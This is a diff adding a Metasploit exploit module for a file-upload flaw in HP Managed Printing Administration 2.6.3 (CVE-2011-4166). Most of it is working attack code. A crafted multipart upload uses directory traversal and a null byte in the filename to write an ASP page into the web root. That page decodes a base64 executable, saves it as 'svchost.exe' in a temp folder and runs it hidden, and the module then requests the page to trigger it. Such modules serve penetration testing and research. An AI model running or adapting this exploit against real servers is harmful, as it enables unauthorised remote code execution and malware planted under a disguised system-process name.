|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Exploit::EXE |
| 15 | + |
| 16 | + def initialize |
| 17 | + super( |
| 18 | + 'Name' => 'HP Managed Printing Administration jobAcct Remote Command Execution', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits an arbitrary file upload vulnerability on HP Managed Printing |
| 21 | + Administration 2.6.3 (and before). The vulnerability exists in the UploadFiles() |
| 22 | + function from the MPAUploader.Uploader.1 control, loaded and used by the server. |
| 23 | + The function can be abused via directory traversal and null byte injection in order |
| 24 | + to achieve arbitrary file upload. In order to exploit successfully, a few conditions |
| 25 | + must be met: 1) A writable location under the context of Internet Guest Account |
| 26 | + (IUSR_*), or Everyone is required. By default, this module will attempt to write to |
| 27 | + /hpmpa/userfiles/, but you may specify the WRITEWEBFOLDER datastore option to provide |
| 28 | + another writable path. 2) The writable path must also be readable by a browser, |
| 29 | + this typically means a location under wwwroot. 3) You cannot overwrite a file with |
| 30 | + the same name as the payload. |
| 31 | + }, |
| 32 | + 'Author' => [ |
| 33 | + 'Andrea Micalizzi', # aka rgod - Vulnerability Discovery |
| 34 | + 'juan vazquez' # Metasploit module |
| 35 | + ], |
| 36 | + 'Platform' => 'win', |
| 37 | + 'References' => |
| 38 | + [ |
| 39 | + ['CVE', '2011-4166'], |
| 40 | + ['OSVDB', '78015'], |
| 41 | + ['BID', '51174'], |
| 42 | + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-352/'], |
| 43 | + ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03128469'] |
| 44 | + ], |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + [ 'HP Managed Printing Administration 2.6.3 / Microsoft Windows [XP SP3 | Server 2003 SP2]', { } ], |
| 48 | + ], |
| 49 | + 'DefaultTarget' => 0, |
| 50 | + 'Privileged' => false, |
| 51 | + 'DisclosureDate' => 'Dec 21 2011' |
| 52 | + ) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('WRITEWEBFOLDER', [ false, "Additional Web location with file write permissions for IUSR_*" ]) |
| 57 | + ], self.class) |
| 58 | + end |
| 59 | + |
| 60 | + def peer |
| 61 | + return "#{rhost}:#{rport}" |
| 62 | + end |
| 63 | + |
| 64 | + def webfolder_uri |
| 65 | + begin |
| 66 | + u = datastore['WRITEWEBFOLDER'] |
| 67 | + u = "/" if u.nil? or u.empty? |
| 68 | + URI(u).to_s |
| 69 | + rescue ::URI::InvalidURIError |
| 70 | + print_error "Invalid URI: #{datastore['WRITEWEBFOLDER'].inspect}" |
| 71 | + return "/" |
| 72 | + end |
| 73 | + end |
| 74 | + |
| 75 | + def to_exe_asp(exes = '') |
| 76 | + |
| 77 | + var_func = Rex::Text.rand_text_alpha(rand(8)+8) |
| 78 | + var_stream = Rex::Text.rand_text_alpha(rand(8)+8) |
| 79 | + var_obj = Rex::Text.rand_text_alpha(rand(8)+8) |
| 80 | + var_shell = Rex::Text.rand_text_alpha(rand(8)+8) |
| 81 | + var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8) |
| 82 | + var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8) |
| 83 | + var_basedir = Rex::Text.rand_text_alpha(rand(8)+8) |
| 84 | + |
| 85 | + var_f64name = Rex::Text.rand_text_alpha(rand(8)+8) |
| 86 | + arg_b64string = Rex::Text.rand_text_alpha(rand(8)+8) |
| 87 | + var_length = Rex::Text.rand_text_alpha(rand(8)+8) |
| 88 | + var_out = Rex::Text.rand_text_alpha(rand(8)+8) |
| 89 | + var_group = Rex::Text.rand_text_alpha(rand(8)+8) |
| 90 | + var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) |
| 91 | + var_counter = Rex::Text.rand_text_alpha(rand(8)+8) |
| 92 | + var_char = Rex::Text.rand_text_alpha(rand(8)+8) |
| 93 | + var_thisdata = Rex::Text.rand_text_alpha(rand(8)+8) |
| 94 | + const_base64 = Rex::Text.rand_text_alpha(rand(8)+8) |
| 95 | + var_ngroup = Rex::Text.rand_text_alpha(rand(8)+8) |
| 96 | + var_pout = Rex::Text.rand_text_alpha(rand(8)+8) |
| 97 | + |
| 98 | + vbs = "<%\r\n" |
| 99 | + |
| 100 | + # ASP Base64 decode from Antonin Foller http://www.motobit.com/tips/detpg_base64/ |
| 101 | + vbs << "Function #{var_f64name}(ByVal #{arg_b64string})\r\n" |
| 102 | + vbs << "Const #{const_base64} = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\n" |
| 103 | + vbs << "Dim #{var_length}, #{var_out}, #{var_group}\r\n" |
| 104 | + vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbCrLf, \"\")\r\n" |
| 105 | + vbs << "#{arg_b64string} = Replace(#{arg_b64string}, vbTab, \"\")\r\n" |
| 106 | + vbs << "#{arg_b64string} = Replace(#{arg_b64string}, \" \", \"\")\r\n" |
| 107 | + vbs << "#{var_length} = Len(#{arg_b64string})\r\n" |
| 108 | + vbs << "If #{var_length} Mod 4 <> 0 Then\r\n" |
| 109 | + vbs << "Exit Function\r\n" |
| 110 | + vbs << "End If\r\n" |
| 111 | + vbs << "For #{var_group} = 1 To #{var_length} Step 4\r\n" |
| 112 | + vbs << "Dim #{var_bytes}, #{var_counter}, #{var_char}, #{var_thisdata}, #{var_ngroup}, #{var_pout}\r\n" |
| 113 | + vbs << "#{var_bytes} = 3\r\n" |
| 114 | + vbs << "#{var_ngroup} = 0\r\n" |
| 115 | + vbs << "For #{var_counter} = 0 To 3\r\n" |
| 116 | + vbs << "#{var_char} = Mid(#{arg_b64string}, #{var_group} + #{var_counter}, 1)\r\n" |
| 117 | + vbs << "If #{var_char} = \"=\" Then\r\n" |
| 118 | + vbs << "#{var_bytes} = #{var_bytes} - 1\r\n" |
| 119 | + vbs << "#{var_thisdata} = 0\r\n" |
| 120 | + vbs << "Else\r\n" |
| 121 | + vbs << "#{var_thisdata} = InStr(1, #{const_base64}, #{var_char}, vbBinaryCompare) - 1\r\n" |
| 122 | + vbs << "End If\r\n" |
| 123 | + vbs << "If #{var_thisdata} = -1 Then\r\n" |
| 124 | + vbs << "Exit Function\r\n" |
| 125 | + vbs << "End If\r\n" |
| 126 | + vbs << "#{var_ngroup} = 64 * #{var_ngroup} + #{var_thisdata}\r\n" |
| 127 | + vbs << "Next\r\n" |
| 128 | + vbs << "#{var_ngroup} = Hex(#{var_ngroup})\r\n" |
| 129 | + vbs << "#{var_ngroup} = String(6 - Len(#{var_ngroup}), \"0\") & #{var_ngroup}\r\n" |
| 130 | + vbs << "#{var_pout} = Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 1, 2))) + _\r\n" |
| 131 | + vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 3, 2))) + _\r\n" |
| 132 | + vbs << "Chr(CByte(\"&H\" & Mid(#{var_ngroup}, 5, 2)))\r\n" |
| 133 | + vbs << "#{var_out} = #{var_out} & Left(#{var_pout}, #{var_bytes})\r\n" |
| 134 | + vbs << "Next\r\n" |
| 135 | + vbs << "#{var_f64name} = #{var_out}\r\n" |
| 136 | + vbs << "End Function\r\n" |
| 137 | + |
| 138 | + vbs << "Sub #{var_func}()\r\n" |
| 139 | + vbs << "#{var_bytes} = #{var_f64name}(\"#{Rex::Text.encode_base64(exes)}\")\r\n" |
| 140 | + vbs << "Dim #{var_obj}\r\n" |
| 141 | + vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n" |
| 142 | + vbs << "Dim #{var_stream}\r\n" |
| 143 | + vbs << "Dim #{var_tempdir}\r\n" |
| 144 | + vbs << "Dim #{var_tempexe}\r\n" |
| 145 | + vbs << "Dim #{var_basedir}\r\n" |
| 146 | + vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n" |
| 147 | + |
| 148 | + vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n" |
| 149 | + vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n" |
| 150 | + vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n" |
| 151 | + vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n" |
| 152 | + vbs << "#{var_stream}.Write #{var_bytes}\r\n" |
| 153 | + vbs << "#{var_stream}.Close\r\n" |
| 154 | + vbs << "Dim #{var_shell}\r\n" |
| 155 | + vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n" |
| 156 | + |
| 157 | + vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n" |
| 158 | + vbs << "End Sub\r\n" |
| 159 | + |
| 160 | + vbs << "#{var_func}\r\n" |
| 161 | + vbs << "%>\r\n" |
| 162 | + vbs |
| 163 | + end |
| 164 | + |
| 165 | + def upload(contents, location) |
| 166 | + post_data = Rex::MIME::Message.new |
| 167 | + post_data.add_part("upload", nil, nil, "form-data; name=\"upload\"") |
| 168 | + post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"..\\../../wwwroot#{location}\x00.tmp\"") |
| 169 | + data = post_data.to_s |
| 170 | + data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") |
| 171 | + |
| 172 | + res = send_request_cgi({ |
| 173 | + 'uri' => normalize_uri("hpmpa", "jobAcct", "Default.asp"), |
| 174 | + 'method' => 'POST', |
| 175 | + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", |
| 176 | + 'data' => data, |
| 177 | + 'encode_params' => false, |
| 178 | + 'vars_get' => { |
| 179 | + 'userId' => rand_text_numeric(2+rand(2)), |
| 180 | + 'jobId' => rand_text_numeric(2+rand(2)) |
| 181 | + } |
| 182 | + }) |
| 183 | + return res |
| 184 | + end |
| 185 | + |
| 186 | + def check |
| 187 | + res = send_request_cgi({'uri' => normalize_uri("hpmpa", "home", "Default.asp")}) |
| 188 | + version = nil |
| 189 | + if res and res.code == 200 and res.body =~ /HP Managed Printing Administration/ and res.body =~ /<dd>v(.*)<\/dd>/ |
| 190 | + version = $1 |
| 191 | + else |
| 192 | + return Exploit::CheckCode::Safe |
| 193 | + end |
| 194 | + |
| 195 | + vprint_status("HP MPA Version Detected: #{version}") |
| 196 | + |
| 197 | + if version <= "2.6.3" |
| 198 | + return Exploit::CheckCode::Appears |
| 199 | + end |
| 200 | + |
| 201 | + return Exploit::CheckCode::Safe |
| 202 | + |
| 203 | + end |
| 204 | + |
| 205 | + def exploit |
| 206 | + # Generate the ASP containing the EXE containing the payload |
| 207 | + exe = generate_payload_exe |
| 208 | + # Not using Msf::Util::EXE.to_exe_asp because the generated vbs is too long and the app complains |
| 209 | + asp = to_exe_asp(exe) |
| 210 | + |
| 211 | + # |
| 212 | + # UPLOAD |
| 213 | + # |
| 214 | + asp_name = "#{rand_text_alpha(5+rand(3))}.asp" |
| 215 | + locations = [ |
| 216 | + "/hpmpa/userfiles/images/printers/", |
| 217 | + "/hpmpa/userfiles/images/backgrounds/", |
| 218 | + "/hpmpa/userfiles/images/", |
| 219 | + "/hpmpa/userfiles/", |
| 220 | + "/" |
| 221 | + ] |
| 222 | + |
| 223 | + locations << normalize_uri(webfolder_uri, asp_name) if datastore['WRITEWEBFOLDER'] |
| 224 | + |
| 225 | + payload_url = "" |
| 226 | + |
| 227 | + locations.each {|location| |
| 228 | + asp_location = location + asp_name |
| 229 | + print_status("#{peer} - Uploading #{asp.length} bytes to #{location}...") |
| 230 | + res = upload(asp, asp_location) |
| 231 | + if res and res.code == 200 and res.body =~ /Results of Upload/ and res.body !~ /Object\[formFile\]/ |
| 232 | + print_good("#{peer} - ASP Payload successfully wrote to #{location}") |
| 233 | + payload_url = asp_location |
| 234 | + break |
| 235 | + elsif res and res.code == 200 and res.body =~ /Results of Upload/ and res.body =~ /Object\[formFile\]/ |
| 236 | + print_error("#{peer} - Error probably due to permissions while writing to #{location}") |
| 237 | + else |
| 238 | + print_error("#{peer} - Unknown error while while writing to #{location}") |
| 239 | + end |
| 240 | + } |
| 241 | + |
| 242 | + if payload_url.empty? |
| 243 | + fail_with(Exploit::Failure::NotVulnerable, "#{peer} - Failed to upload ASP payload to the target") |
| 244 | + end |
| 245 | + |
| 246 | + # |
| 247 | + # EXECUTE |
| 248 | + # |
| 249 | + print_status("#{peer} - Executing payload through #{payload_url}...") |
| 250 | + send_request_cgi({ 'uri' => payload_url}) |
| 251 | + end |
| 252 | + |
| 253 | +end |
| 254 | + |
0 commit comments